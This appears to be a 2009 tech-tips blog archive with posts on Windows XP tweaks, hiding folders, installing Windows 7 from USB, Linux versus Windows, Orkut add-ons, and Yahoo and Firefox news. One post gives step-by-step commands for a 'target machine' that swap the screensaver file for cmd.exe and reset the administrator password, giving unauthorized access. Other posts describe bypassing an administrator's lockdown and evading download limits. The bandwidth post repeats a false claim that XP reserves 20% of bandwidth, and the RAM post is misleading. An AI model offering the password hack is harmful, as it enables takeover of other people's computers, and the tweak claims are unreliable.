Saturday, July 25, 2009

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Rapidshare is one of the most frustrating websites to download large files off of, especially if they are broken into many pieces while Megaupload positively shines in comparison. So why do people keep using these two services when more generous file hosts like Mediafire exist?

I can only guess that it’s simply because so many other people are using them. In order to get free premium Rapidshare accounts, which let you download unlimited amounts of files, users upload their own files onto Rapidshare, hoping enough people download them in turn so that the uploaders can earn enough premium points to qualify for a free account.

But it doesn’t have to be that complicated. You can get unlimited Rapidshare downloads more simply.

What you are going to do is request a new IP address from your ISP. This is assuming that you do not subscribe to an Internet service with fixed IP addresses.

First, figure out what your current IP address is by going to IP Chicken. Write down the series of numbers that are displayed. This is your current IP address.

Then, follow the steps below to get a new IP:

1. Go to Start->Run and type in “cmd” without quotes to bring up the command prompt. Hit Enter.

2. Type in “ipconfig /flushdns” without quotes and hit Enter.

3. Type in “ipconfig /release” without quotes and hit Enter.

4. Type in “ipconfig /renew” without quotes and hit Enter. You should now have a new IP address. Check your IP address at IP Chicken again and compare it to the one you got earlier.

5. Now, erase your browser’s cache and cookies.

6. Try downloading the Rapidshare or Megaupload file again.

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If you use Windows XP Professional then it is possible to squeeze an extra 20% out of your internet connection. By default Windows XP Pro holds back 20% of your Internet speed for various services like windows update and spyware checks.


If you want to tap into this locked speed then make the following changes:

1. Go to Start-> Run-> and type gpedit.msc
2. Expand the Administrative Templates branch
3. Expand the Network tab
4. Highlight QoS Packet Scheduler
5. Click on Limit Reservable Bandwidth and check the enabled box
6. Then Change the Bandwidth limit % to 0 %

Once you have done this click apply and restart your PC. After rebooting you should see a noticeable improvement in your net speed.

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This method of hiding files and folders in Windows XP is quite rudimentary, which means that if someone knows what they are doing with computers, it could be found pretty easily. However, it’s a great way to hide folders from people like your parents or people who only know how to check their email and that’s it!
First of all, if you have a folder you want to hide, don’t create the folder in some obvious place such as My Documents, instead put it in a location that someone would typically not look into. For example, create a new folder under C:\Program Files. Creating a folder there doesn’t hurt anything at all and not many people go browsing through their anyway since it’s mostly just system installation files.
Now that you have your folder created in a strange location and your files stored in that folder, we can make it hidden. Setting a folder to Hidden in Windows XP is simply changing one of the properties of the folder, i.e. 0 means not hidden and 1 means hidden. Windows Explorer reads this property and appropriately shows or hides the folder. However, there is an option in Windows Explorer called “Show hidden files and folders” that will display all folders no matter what the hidden property value is set to.
We need to change that setting so that hidden files and folders are not to be shown. In order to do this, click on My Computer from your desktop and from the menu click on Tools and then Folder Options.
Click on the View tab and under the Hidden Files and Folders section, choose the radio button that says “Do not show hidden files and folders”.
Click OK to save the changes. Usually this option is already set by default to hide files and folders, but it’s good to check anyway just to make sure. Ok, now to hide the folder itself, go into the folder that has the folder you want to hide, right-click on it and choose Properties.
On the General tab, check the box in the Attributes section named Hidden.
Click OK and your folder should no longer be visible in the current window you have open. It’s hidden and you won’t be able to see it unless you do the same procedure as mentioned above and change the option back to Show Hidden Files and Folders. Now if you want to save anything into the hidden folder, you could un-hide it and then save the file and then re-hide it, but that’s really not necessary.
In order to save a file to a hidden folder, all you need to do is specify the entire path in the File Name box. Fox example, if you’re saving a Word document, you could save the files to the hidden folder by typing in C:\Program Files\Secret\filename.doc and click Save.
And that’s it! A very simple and easy way to hide a folder that will probably work on most people unless they are computer geeks!! Any more suggestions, leave a comment!

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The Send To menu is used to speed up transferring of files to a certain location. It acts like a shortcut to a program or a folder. Notice that when you right click a file or folder you will see the Send To menu with available options supported in your system. 
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To add items to the Send To menu, follow the steps below.
· Click Start and type SHELL:SENDTO in the search box and hit enter.
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· Or navigate to C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\SendTo.
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· In this window you see the default items in the Send To menu.
· In the Send To window you can add shortcuts for your programs which you often use or add the locations of your folders you want to place your files.
· To add a program in the Send To menu. Locate the program you want to add and create a shortcut for that program then copy the shortcut to the Send To menu folder. Usually programs are located in C:\Program Files folder.
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· In this figure you will see that the location of the program is at C:\Program Files\Windows Media Player. I’ve created a shortcut for the wmplayer file which is the executable file of Windows Media Player.
To create a shortcut, right click on the file and select the create shortcut option and a shortcut will be created, in this case, the name of the shortcut is wmplayer – Shortcut. Copy the created shortcut to the Send To folder. You can also rename the shortcut to your preference.
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· To add a folder of your choice, first you have to decide or create the folder then create a shortcut for that folder and copy it to the Send To menu folder.
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· Here the folder named MYFOLDER was created in the Documents folder and also a shortcut for the folder was created. Then copy the shortcut again to the Sent To folder.
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· You will see in the figure that the shortcut was renamed to MY FOLDER.
I hope this tip helps you customize the Send To menu. Use it for quicker access to your most frequently used programs or folder locations.

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1). Start any application, say Word. Open some large documents.

2). Press CTRL+SHIFT+ESC to open Windows Task Manager and click
Processes tab and sort the list in descending order on Mem Usage. You will notice that WINWORD.EXE will be somewhere at the top, using multiple MBs of memory.

3). Now switch to Word and simply minimize it. (Don't use the Minimize All Windows option of the task bar).
4). Now go back to the Windows Task Manager and see where WINWORD.EXE is listed. Most probably you will not find it at the top. You will typically have to scroll to the bottom of the list to find Word. Now check out the amount of RAM it is using. Surprised? The memory utilization has reduced by a huge amount.
5). Minimize each application that you are currently not working on by clicking on the Minimize button & you can increase the amount of available RAM by a substantial margin. Depending upon the number and type of applications you use together, the difference can be as much as 50 percent of extra RAM.
In any multitasking system, minimizing an application means that it won't be utilized by the user right now. Therefore, the OS automatically makes the application use virtual memory & keeps bare minimum amounts of the code in physical RAM.

55 Ways to Have Fun With Google


It is awesome book to be used when you are bored and need something to do on net.

This book consists of 55 chapters in which you will get 55 ways to have fun with google.

The chapters are as below:-

  1. Egogoogling: Susan Is...
  2. The Google Snake Game
  3. Memecodes: Survival of the Fittest Web Pages
  4. The Google Irritation Game, and the Google Image Quiz
  5. Googling Proverbs
  6. Browsing Images of a Site
  7. A Brief History of Googlesport
  8. What is Google, and what do people consider fun about it?
  9. How Much Time Google Saves Us
  10. Google Cookin’ a Lemon Chicken
  11. Douglas Adams and the Google Calculator
  12. Oops, I Googled Again
  13. The Disappearing Google Logo, a Magic Trick
  14. Fun With Google Maps, the Wiki Way
  15. Dave Gorman’s Googlewhack
  16. Google Q&A
  17. Celebrate Google Non-Weddings, and More
  18. Design Your SketchUp Dream House
  19. Kevin Bacon and the Google Network
  20. The Google Alphabet
  21. Google Search Tips
  22. Googlepark
  23. Googleshare
  24. The Shortest Google Search (and the One Returning the Most Results)
  25. Google Rotated and Mini Google
  26. The Google Quiz: How Much Do You Know About Google?
  27. Recreate Google From Memory
  28. The Strange World of Google News
  29. Aliens Attack Google!
  30. Top Ten Signs You Are Addicted to Google
  31. Dig a Hole Through Earth
  32. Googlebombing
  33. Google Ads Gone Wrong
  34. Life in the Age of Google
  35. Google Hacking
  36. Googlepolls: Ask the Crowd
  37. Googlefights
  38. What If Google Was Evil? Plus: Five Inventions of the Google Future
  39. The Google Adventure Game
  40. Egobot, Voice of the Web
  41. Fun Google Gadgets
  42. Forty-Two, or: A Science-Fiction Interlude
  43. The Google Book of World Records
  44. Spelling Errors Galore
  45. Google Groups, Time Machine
  46. Growing a Google Word
  47. Most Popular Words, and PopSents
  48. Create Google Poetry, Prose, and Collages
  49. Funny Google Videos
  50. The Realplayer Fish, or: Telling a Story in Synonyms
  51. Google Parodies
  52. The Google Images Prediction Trick
  53. Fun With Google Translations
  54. The Giant Google Painting
  55. Googledromes

You can read all these chapters by downloading the book for the link below.

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Hack Administrator Password For XP


Log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called TOM and you want the password GUEST enter this

"net user TOM GUEST"

and this changes the password on TOM'S machine to GUEST and your in.

Friday, July 24, 2009

нσω тσ ιηѕтαℓℓ ωιη∂σωѕ 7 ƒяσм υѕв ∂яινє/ρєη ∂яινє.

REQUIREMENTS:

* 1GB RAM and 16GB Hard disk space
* 1GHZ processor.
* Windows 7 iso file.
* Pen drive/ usb drive with 4GB space.

You can download windows 7 iso file from the direct download links given below.
Windows 7 beta (32 bit version)

7000.0.081212-1400_client_en-us_Ultimate-GB1CULXFRE_EN_DVD.ISO
Windows 7 beta (64 bit version)

7000.0.081212-1400_client_en-us_Ultimate-GB1CULXFRE_EN_DVD.ISO

Or just get a windows 7 DVD from somewhere if you can.

I assume that you have managed to get the Windows 7 DVD somehow by now. If you have the Windows 7 DVD in your hand then read on.
Follow the steps given below to install Windows 7 from USB drive.

1. Insert your USB thumb drive.
2. Open command prompt. If you are using vista open it with admin rights.
3. Type diskpart and press enter.
4. Type list disk.
5. You will see all the disks connected to your system. If you don’t have any other disk than your Hard disk and pen drive then your pen drive will be Disk . You can guess your pen drive by it’s size also.
6. If it’s disk 1 then type Select disk 1.
7. Now before moving ahead take backup of your important data from pen drive as we will have to format the pen drive.
8. Now go back to CMD and type CLEAN.This will remove partition or volume formatting from the current in-focus disk by zeroing sectors
9. Type CREATE PARTITION PRIMARY and press Enter. This will create a primary partition of length size and a starting address offset on the current drive.
10. Type SELECT PARTITION 1 and press Enter.
11. Type ACTIVE. this will mark the currently selected device as active.
12. Now type FORMAT FS=NTFS and press Enter.This process may take some time. Wait for this process to end.This will format your USB drive.
13. Type ASSIGN and press Enter. Then type EXIT .
14. Now insert your Windows 7 DVD in the DVD drive. I will assume that your DVD drive is at D and USB drive is G. Look in your MY computer to know the drive letters for your PC.
15. If you have iso file of Windows 7 then you can use this trick to use iso file without burning.
16. Now open new windows of CMD and navigate to your dvd drive using cmd. If your drive name is d then type D:
17. Now type CD boot and press enter. Then type bootsect /nt60 H: (H is your usb drive letter).
18. Now copy all files to your pen drive.
19. Now the most important step: Reboot your PC and press F2 when the system restarts. This will take you in to BIOS Menu. Under the advanced bios options set the Primary boot device to your Pen drive. Now you are all set to install Windows 7 from USB drive.

Thursday, July 23, 2009

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Ever find yourself sitting in front of a computer that’s been locked down by an overzealous IT administrator who won’t let you install any software or even open Internet Explorer or Firefox? If that PC is running Windows XP, there’s a good chance you can still visit coolaery.co.nr (or other sites if that sort of thing appeals to you).
All you have to do is launch a Windows application like Calculator, and then click the Help button. Under Help, click “Help Topics,” which will bring up a help window. Next, all you have to do is right click on the title bar and select “Jump To URL.” Now you can type in any web address you like, but make sure to include “http://” at the beginning. Basically what you’re looking at is Internet Explorer 6 inside a help window, but this version of the program isn’t quite as smart as IE6. It won’t automatically add the http:// for you. And of course, there’s no bookmarking feature.

Wednesday, July 22, 2009

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First of all..I would like to say that Gmail is out of Beta..yep..After a long time when they have integrated the best of world in their email system,it was the right time to rip off the tag,and they did it.Further,with the world going mobile,they took some of the steps to better enhance the security even a notch above than other email services. It helps to know that even the best of us forget our passwords from time to time and In fact,the sheer amount of people visit Gmail help center everyday just to recover their passwords. To help with these situations, Google went a step ahead by adding the ability to recover your password via text message.
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In order to access this feature,sign in to your account and select ' Change Password Recovery
Options ' enter your cell phone number and click ' Save '
The Next time you forget your password, enter your username on the password-assistance page, and Google will text you a recovery code. No need to check another email account or even leave the page.
In general, it's a good idea to add as many password recovery options to your Google Account as possible, like a secondary email address and security question. And don't forget to keep them up-to-date.
Afterall,we all make mistakes :P

a gr8 thanks to rd for this article
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Tuesday, July 21, 2009

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From the very beginning, I have known that there are basic differences between Linux and Windows that will always set them apart. This is not, in the least, to say one is better than the other. It’s just to say that they are fundamentally different. Many people, looking from the view of one operating system or the other, don’t quite get the differences between these two powerhouses. So I decided it might serve the public well to list 10 of the primary differences between Linux and Windows.

Note: This information is also available as a PDF download.

#1: Full access vs. no access

Having access to the source code is probably the single most significant difference between Linux and Windows. The fact that Linux belongs to the GNU Public License ensures that users (of all sorts) can access (and alter) the code to the very kernel that serves as the foundation of the Linux operating system. You want to peer at the Windows code? Good luck. Unless you are a member of a very select (and elite, to many) group, you will never lay eyes on code making up the Windows operating system.
You can look at this from both sides of the fence. Some say giving the public access to the code opens the operating system (and the software that runs on top of it) to malicious developers who will take advantage of any weakness they find. Others say that having full access to the code helps bring about faster improvements and bug fixes to keep those malicious developers from being able to bring the system down. I have, on occasion, dipped into the code of one Linux application or another, and when all was said and done, was happy with the results. Could I have done that with a closed-source Windows application? No.

#2: Licensing freedom vs. licensing restrictions

Along with access comes the difference between the licenses. I’m sure that every IT professional could go on and on about licensing of PC software. But let’s just look at the key aspect of the licenses (without getting into legalese). With a Linux GPL-licensed operating system, you are free to modify that software and use and even republish or sell it (so long as you make the code available). Also, with the GPL, you can download a single copy of a Linux distribution (or application) and install it on as many machines as you like. With the Microsoft license, you can do none of the above. You are bound to the number of licenses you purchase, so if you purchase 10 licenses, you can legally install that operating system (or application) on only 10 machines.

#3: Online peer support vs. paid help-desk support

This is one issue where most companies turn their backs on Linux. But it’s really not necessary. With Linux, you have the support of a huge community via forums, online search, and plenty of dedicated Web sites. And of course, if you feel the need, you can purchase support contracts from some of the bigger Linux companies (Red Hat and Novell for instance).
However, when you use the peer support inherent in Linux, you do fall prey to time. You could have an issue with something, send out e-mail to a mailing list or post on a forum, and within 10 minutes be flooded with suggestions. Or these suggestions could take hours of days to come in. It seems all up to chance sometimes. Still, generally speaking, most problems with Linux have been encountered and documented. So chances are good you’ll find your solution fairly quickly.
On the other side of the coin is support for Windows. Yes, you can go the same route with Microsoft and depend upon your peers for solutions. There are just as many help sites/lists/forums for Windows as there are for Linux. And you can purchase support from Microsoft itself. Most corporate higher-ups easily fall victim to the safety net that having a support contract brings. But most higher-ups haven’t had to depend up on said support contract. Of the various people I know who have used either a Linux paid support contract or a Microsoft paid support contract, I can’t say one was more pleased than the other. This of course begs the question “Why do so many say that Microsoft support is superior to Linux paid support?”

#4: Full vs. partial hardware support

One issue that is slowly becoming nonexistent is hardware support. Years ago, if you wanted to install Linux on a machine you had to make sure you hand-picked each piece of hardware or your installation would not work 100 percent. I can remember, back in 1997-ish, trying to figure out why I couldn’t get Caldera Linux or Red Hat Linux to see my modem. After much looking around, I found I was the proud owner of a Winmodem. So I had to go out and purchase a US Robotics external modem because that was the one modem I knew would work. This is not so much the case now. You can grab a PC (or laptop) and most likely get one or more Linux distributions to install and work nearly 100 percent. But there are still some exceptions. For instance, hibernate/suspend remains a problem with many laptops, although it has come a long way.
With Windows, you know that most every piece of hardware will work with the operating system. Of course, there are times (and I have experienced this over and over) when you will wind up spending much of the day searching for the correct drivers for that piece of hardware you no longer have the install disk for. But you can go out and buy that 10-cent Ethernet card and know it’ll work on your machine (so long as you have, or can find, the drivers). You also can rest assured that when you purchase that insanely powerful graphics card, you will probably be able to take full advantage of its power.

#5: Command line vs. no command line

No matter how far the Linux operating system has come and how amazing the desktop environment becomes, the command line will always be an invaluable tool for administration purposes. Nothing will ever replace my favorite text-based editor, ssh, and any given command-line tool. I can’t imagine administering a Linux machine without the command line. But for the end user — not so much. You could use a Linux machine for years and never touch the command line. Same with Windows. You can still use the command line with Windows, but not nearly to the extent as with Linux. And Microsoft tends to obfuscate the command prompt from users. Without going to Run and entering cmd (or command, or whichever it is these days), the user won’t even know the command-line tool exists. And if a user does get the Windows command line up and running, how useful is it really?

#6: Centralized vs. noncentralized application installation

The heading for this point might have thrown you for a loop. But let’s think about this for a second. With Linux you have (with nearly every distribution) a centralized location where you can search for, add, or remove software. I’m talking about package management systems, such as Synaptic. With Synaptic, you can open up one tool, search for an application (or group of applications), and install that application without having to do any Web searching (or purchasing).
Windows has nothing like this. With Windows, you must know where to find the software you want to install, download the software (or put the CD into your machine), and run setup.exe or install.exe with a simple double-click. For many years, it was thought that installing applications on Windows was far easier than on Linux. And for many years, that thought was right on target. Not so much now. Installation under Linux is simple, painless, and centralized.

#7: Flexibility vs. rigidity

I always compare Linux (especially the desktop) and Windows to a room where the floor and ceiling are either movable or not. With Linux, you have a room where the floor and ceiling can be raised or lowered, at will, as high or low as you want to make them. With Windows, that floor and ceiling are immovable. You can’t go further than Microsoft has deemed it necessary to go.
Take, for instance, the desktop. Unless you are willing to pay for and install a third-party application that can alter the desktop appearance, with Windows you are stuck with what Microsoft has declared is the ideal desktop for you. With Linux, you can pretty much make your desktop look and feel exactly how you want/need. You can have as much or as little on your desktop as you want. From simple flat Fluxbox to a full-blown 3D Compiz experience, the Linux desktop is as flexible an environment as there is on a computer.

#8: Fanboys vs. corporate types

I wanted to add this because even though Linux has reached well beyond its school-project roots, Linux users tend to be soapbox-dwelling fanatics who are quick to spout off about why you should be choosing Linux over Windows. I am guilty of this on a daily basis (I try hard to recruit new fanboys/girls), and it’s a badge I wear proudly. Of course, this is seen as less than professional by some. After all, why would something worthy of a corporate environment have or need cheerleaders? Shouldn’t the software sell itself? Because of the open source nature of Linux, it has to make do without the help of the marketing budgets and deep pockets of Microsoft. With that comes the need for fans to help spread the word. And word of mouth is the best friend of Linux.
Some see the fanaticism as the same college-level hoorah that keeps Linux in the basements for LUG meetings and science projects. But I beg to differ. Another company, thanks to the phenomenon of a simple music player and phone, has fallen into the same fanboy fanaticism, and yet that company’s image has not been besmirched because of that fanaticism. Windows does not have these same fans. Instead, Windows has a league of paper-certified administrators who believe the hype when they hear the misrepresented market share numbers reassuring them they will be employable until the end of time.

#9: Automated vs. nonautomated removable media

I remember the days of old when you had to mount your floppy to use it and unmount it to remove it. Well, those times are drawing to a close — but not completely. One issue that plagues new Linux users is how removable media is used. The idea of having to manually “mount” a CD drive to access the contents of a CD is completely foreign to new users. There is a reason this is the way it is. Because Linux has always been a multiuser platform, it was thought that forcing a user to mount a media to use it would keep the user’s files from being overwritten by another user. Think about it: On a multiuser system, if everyone had instant access to a disk that had been inserted, what would stop them from deleting or overwriting a file you had just added to the media? Things have now evolved to the point where Linux subsystems are set up so that you can use a removable device in the same way you use them in Windows. But it’s not the norm. And besides, who doesn’t want to manually edit the /etc/fstab fle?

#10: Multilayered run levels vs. a single-layered run level

I couldn’t figure out how best to title this point, so I went with a description. What I’m talking about is Linux’ inherent ability to stop at different run levels. With this, you can work from either the command line (run level 3) or the GUI (run level 5). This can really save your socks when X Windows is fubared and you need to figure out the problem. You can do this by booting into run level 3, logging in as root, and finding/fixing the problem.
With Windows, you’re lucky to get to a command line via safe mode — and then you may or may not have the tools you need to fix the problem. In Linux, even in run level 3, you can still get and install a tool to help you out (hello apt-get install APPLICATION via the command line). Having different run levels is helpful in another way. Say the machine in question is a Web or mail server. You want to give it all the memory you have, so you don’t want the machine to boot into run level 5. However, there are times when you do want the GUI for administrative purposes (even though you can fully administer a Linux server from the command line). Because you can run the startx command from the command line at run level 3, you can still start up X Windows and have your GUI as well. With Windows, you are stuck at the Graphical run level unless you hit a serious problem.

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Orkut may be a bit neglected in the wake of all the Facebook and MySpace related news, but they’re supposedly working on an API, too. If so, we might soon see a lot of new Orkut applications coming up. For the time being, this is a collection of some useful browser addons and desktop tools to make your Orkut experience more enjoyable.




Online and Desktop Applications

    az orkut toolbar
AZ Orkut Toolbar – This is a browser toolbar for Firefox and IE that provides you with links to various Orkut pages, like home, profile, messages, fans, album, videos, friends, communities, scraps, settings, and more. There is a universal Orkut search button and a radio player too.
Free Orkut Toolbar – This browser toolbar allows you to access all the Orkut features. Also has built-in radio and chat features.
Orkutalert – This small tool runs in your computer background alerts you whenever you receive a new scrap and when your friends log on to Orkut.
Orkut Cute – Orkut Cute is a feature-laden desktop application for managing your Orkut page. It comes with a scrap editor that has a rich-text formatting bar with an HTML page preview. There is an instant messenger that you can use to chat with your GTalk and MSN Messenger friends. You can use its ‘Get Scraps’ feature to download your scraps from Orkut to your desktop.
Orkut Scraps to RSS Reader – This PHP script allow you to convert your Orkut scraps from your scrapbook and and community messages into a RSS feed. You simply need to add your Orkut user ID or community ID in the provided web address. One simple way to check on your Orkut directly from your RSS reader.
Orkut Word Generator – With this online tool, you can generate words in the shapes of people, Orkut style.
PowerScrap – PowerScrap is a site that you can use to access your social networking sites like Orkut, YouTube Myspace, etc. with more features. Once you log in to Orkut from the PowerScrap site, you can change the color of your Orkut page, listen to an online radio station, browse anonymously, send messages to multiple friends, send multimedia content by scraps, send confidential scraps, and much more. The PowerScrap scrap editor also provides you rich-text formatting options.
Scrapboy – You can send and receive Orkut scraps from the Scrapboy desktop application without using a web browser.
TOrkut – Desktop application for accessing and managing your Orkut profile with Scrap Editor and other features.
Firefox Addons

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Orkut Helper – Addon with features like auto login to Orkut, create links to various pages, animated smileys, common scraps to friends or community members, and more.
Orkut Scrapbook Searcher – This addon provides a search box inside Orkut for searching through scrapbooks and communities.
Orkut ScrapEasy – Uses Ajax for scraps; this way, you don’t have to leave your scrap page after posting a scrap.
Orkut Scrapper – Brings on more scrapping features like a toolbar, secret scraping, font styles, live preview, translation, etc.
Orkut Scrap Replyer – This addon pops up a form when you click on your friend’s picture. You can use this form to send a scrap.
Orkut Toolbar – This addon provides formatting features for your scraps.
Widgets

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Add Orkut Profile to Your BlogThis is a simple widget for bloggers to add an Orkut badge on their blogs. The widget is available for Blogger
Orkut Birthday – Add your Orkut birthdays to your Netvibes page.
Orkut Birthdays – Add upcoming birthdays of your friends to iGoogle.
Orkut Photo Album – View your Orkut photo album in iGoogle.
Orkut Scraps – View your Orkut scraps in iGoogle.
Greasemonkey Scripts
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Keybord Shortcuts For Orkut – the name says it all; this script adds several handy keyboard shortcuts for Orkut.
Mass Moderation Script – Adds mass ban, mass delete and mass remove options for community moderation in community topics page.
Smiley Toolbar – gives more smiley options to you in the form of a handy toolbar.
Orkut Formatting Toobar – a toolbar that makes text formating in Orkut easier.

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A significant redesign is finally coming to the Yahoo.com home page, one of the most well-traveled destinations on the Internet, and the company's search page will follow suit starting next month.
Yahoo plans to let people in the United States start selecting a new, more personalized version of the home page beginning Tuesday afternoon. The revamp lets people select basic applications to use not just Yahoo sites, but also others' such as eBay, Facebook, and Twitter, said Tapan Bhat, Yahoo's senior vice president for consumer experiences.
These applications are available on the left side of the page under a customizable section called My Favorites; hovering over them with the mouse pointer makes each application and its accompanying advertising pop up.
"We're pulling together everything about the user they care about, be it on Yahoo or off, to create a personally relevant experience," Bhat said. "In a world like this, Yahoo needs to make the user experience come first."
The effort is a centerpiece of Yahoo's effort to revitalize its core business: showing content and accompanying advertisements to a large, general audience on the Net. Yahoo's profitability for years has trailed that of its main rival, Google, which depends chiefly on search ads for revenue, and Yahoo faces increasing pressure from Microsoft's online business and new arrivals such as Facebook as well.
Yahoo's new home page permits applications from Yahoo or others. This shows use of Facebook.
Yahoo's new home page permits applications from Yahoo or others. This shows use of Facebook.
(Credit: Yahoo)
The company also hopes for more success with advertisers. "We're creating great opportunities for advertisers to target content and context," he said, demonstrating a movie application that showed a prominent ad along with movie showtimes locally tailored for a particular user.
The My Favorites feature will arrive on Yahoo's search page, too, making the search site and results shown on it into more of a portal to access content. Yahoo faces search pressure from dominant Google and now to a certain extent from Microsoft's Bing, too. Even if it consummates a possible search and advertising deal with Microsoft, being able to show its own display ads in applications adjacent to search results could help the company extract more money from its search operation.
Long-coming changes
Newer Web sites change rapidly, but Yahoo proceeds at a relatively glacial pace to change its site, visited by a whopping 340 million people monthly.
Yahoo announced the new front page plan in October 2007, recognizing that people wanted to get to other destinations on the Net besides Yahoo's. It began "bucket testing" it a year afterward, trying variations of the new page on randomly selected users, some of whom squawked at the changes and their inability to revert.
New Chief Executive Carol Bartz has been trying to light a fire under the company's developers, but even this revamp is only is the beginning beta testing on Tuesday. The change will arrive in the U.K., France, and India later this week, in Spain and Mexico next month, and in Asia next year, Yahoo said. Users had no choice about earlier tests, but now they'll be able to select it as default on their own by visiting http://yahoo.com/try new or clicking on Yahoo promotions for the change.
Yahoo's revamped front page.
Yahoo's revamped front page.
(Credit: Yahoo)
"The home page was tested by thousands and thousands of people. We got tons of feedback--tens of thousands wrote about what they liked and didn't," Bhat said. "It was really key to helping us figure out what worked and didn't."
The new home page will become default for others when beta testing is done "in the coming months," Yahoo said. The revamped search pages will enter bucket testing in August, meaning that users can't choose to use or not use the new design.
More changes
Opening up Yahoo's content to other sites' operations--and letting other sites use Yahoo data can use such as Facebook-like status updates--is part of the Yahoo Open Strategy. That effort, under way for well over a year, is designed to increase users' activity on Yahoo, to draw more people to Yahoo, and to make the company a better partner for advertisers.
There are about 60 applications available now, and more are being added daily, Bhat said. Users can create their own, too.
Also coming in August will be the ability to select what type of news people can see, with a slider that moves on a spectrum between "fun" and "serious," he said.
In addition, Yahoo is revamping its mobile site. One big feature: when users customize Yahoo for use with regular computers, that customization will carry over to their mobile version.
Bhat wouldn't share details about whether the new home page fares better, either in terms of user engagement or revenue. However, because Yahoo plans to make its official home page announcement Tuesday while detailing second-quarter financial results, it's possible Bartz may be more forthcoming than Bhat.
Bhat did indicate, though, that things are moving in the right direction for the company.

"Our experience in our test indicates that people are excited about this home page. They feel this meets their needs and is fresh new look for Yahoo," Bhat said. "We are designing the page around users. What we do know when design page that users like, they tend to get more engaged."

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Mozilla's Firefox 3.5.1 browser is now out with fixes for one critical zero-day vulnerability that first became public earlier this week.
The zero-day flaw is a vulnerability in Firefox 3.5's Just-in-Time (JIT) JavaScript compiler. Mozilla's security advisory describes the vulnerability as "an exploitable memory corruption problem."
Security researcher Simon Berry-Byrne publicly posted proof-of-concept exploit code for the flaw on Tuesday, potentially enabling an attacker to execute arbitrary code. Mozilla began testing a patch for the flaw the same day with its nightly builds.
The update is the first security update for Firefox 3.5 which was released at the end of June.
Security isn't the only issue addressed by the update. Mozilla is also tackling a sluggish startup issue for Windows users in Firefox 3.5.1. On the Mozilla bugzilla system, the bug is officially described as "very slow startup for Firefox 3.5 due to accessing IE Internet Temporary Files and Windows Temp folder." According to the bugzilla report, the startup time for Firefox 3.5 was found to be slower than it should have been, and Firefox 3.5.1 has now been patched to resolve the issue.
All together, the Firefox 3.5.1 release patched 22 bugs, 7 of which were tagged by developers as being critical.
Among those critical bugs are a number of non-security-related crash conditions. One of them is a crash was triggered by way of certain types of search requests made by the main browser interface.
Firefox 3.5.1 does not, however, address every issue that researchers have had issues with in Firefox 3.5.
One issue that was alleged by security researcher "^3described4^3r" is that Firefox 3.5 leaks DNS (define) information. The researcher's claim is that Firefox 3.5 incorrectly handles DNS information that shouldn't be exposed when a user is using a proxy (define).
At this point, Mozilla doesn't see a security issue with Firefox 3.5's DNS handling.
"When a user manually configures a proxy and flips the remote_dns pref to route DNS requests through the proxy, we'll do just that -- no local DNS lookups," Mozilla's Johnathan Nightingale told InternetNews.com. "In fact, our users can turn off dns prefetch altogether with a boolean pref called 'network.dns.disablePrefetch,' though we hope few do, since DNS pre-fetch improves the responsiveness of normal Web browsing."
While the zero-day JavaScript flaw is the big news in the Firefox 3.5.1 update, Mozilla had planned for the update prior to the public disclosure of the security issue. Within days of the final Firefox 3.5 release, Mozilla had stated that a Firefox 3.5.1 release would be issued in mid- to late July to fix a number of crash issues and bugs.

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